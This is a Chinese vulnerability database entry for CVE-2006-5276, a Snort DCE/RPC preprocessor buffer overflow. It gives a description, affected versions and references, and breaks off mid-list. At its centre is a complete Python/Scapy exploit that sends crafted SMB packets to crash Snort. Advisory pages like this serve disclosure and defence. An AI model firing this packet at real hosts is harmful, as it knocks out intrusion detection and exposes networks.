Snort DCE/RPC预处理器远程缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112297 漏洞类型 缓冲区溢出
发布时间 2007-02-23 更新时间 2007-11-15
CVE编号 CVE-2006-5276 CNNVD-ID CNNVD-200702-347
漏洞平台 Multiple CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/3362
https://www.securityfocus.com/bid/22616
https://cxsecurity.com/issue/WLB-2012040092
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200702-347
|漏洞详情
Snort是Snort团队的一套网络入侵预防软件与网络入侵检测软件。该软件提供数据包嗅探、数据包分析和数据包检测等功能。很多其他IDS产品中也使用了Snort及其组件。SnortDCE/RPC预处理器中有漏洞的代码无法正确的重组某些类型的SMB和DCE/RPC报文。攻击者可以通过向Snort所监控的主机或网络发送特制的TCP报文来利用这个漏洞。DCE/RPC预处理器是默认启用的,攻击者不必完成TCP握手就可以实施攻击。NortelThreatProtectionSystem及SourceFire也受此漏洞影响。
|漏洞EXP
#!/usr/bin/python
#
# Snort DCE/RPC Preprocessor Buffer Overflow (DoS)
# 
# Author: Trirat Puttaraksa <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
######################################################
# For educational purpose only
#
# This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution
# may be possible, but I have no time to make it :( 
# I will post the information about this vulnerability in my blog soon
#
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/) 
# to inject the packet, so you have to install Scapy before use it.
#
#######################################################

import sys
from scapy import *
from struct import pack
conf.verb = 0

# NetBIOS Session Service
payload = "\x00\x00\x01\xa6"

# SMB Header
payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
payload += "\x00\x08\x30\x00"

# Tree Connect AndX Request
payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
payload += "\x3f\x3f\x3f\x3f\x3f\x00"

# NT Create AndX Request
payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
payload += "\x63\x00\x00\x00"

# Write AndX Request #1
payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

if len(sys.argv) != 2:
	print "Usage snort_dos_dcerpc.py <fake destination ip>"
	sys.exit(1)

target = sys.argv[1]

p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload
send(p)

# milw0rm.com [2007-02-23]
|受影响的产品
Snort Project Snort 2.6.1 .2 Snort Project Snort 2.6.1 .1 Snort Project Snort 2.6.1 Snort Project Snort 2.7.0 beta 1 S.u.S.E. openSUSE 10.1 Redhat Fedora Core7
|参考资料

来源:US-CERT
名称:TA07-050A
链接:http://www.us-cert.gov/cas/techalerts/TA07-050A.html
来源:US-CERT
名称:VU#196240
链接:http://www.kb.cert.org/vuls/id/196240
来源:XF
名称:smb-bo(31275)
链接:http://xforce.iss.net/xforce/xfdb/31275
来源:www130.nortelnetworks.com
链接:http://www130.nortelnetworks.com/go/main.jsp?cscat=BLTNDETAIL&DocumentOID=540173
来源:www116.nortelnetworks.com
链接:http://www116.nortelnetworks.com/pub/repository/CLARIFY/DOCUMENT/2007/08/021923-01.pdf
来源:www.snort.org
链接:http://www.snort.org/docs/advisory-2007-02-19.html
来源:SECTRACK
名称:1017670
链接:http://www.securitytracker.com/id?1017670
来源:SECTRACK
名称:1017669
链接:http://www.securitytracker.com/id?1017669
来源:BUGTRAQ
名称:20070303ERRATA:[GLSA200703-01]Snort:Remoteexecutionofarbitrarycode
链接:http://www.securityfocus.com/archive/1/archive/1/461810/100/0/threaded
来源:OSVDB
名称:32094
链接:http://www.osvdb.org/32094
来源:MILW0RM
名称:3362
链接:http://www.milw0rm.com/exploits/3362
来源:VUPEN
名称:ADV-2007-0668
链接:http://www.frsirt.com/english/advisories/2007/0668
来源:VUPE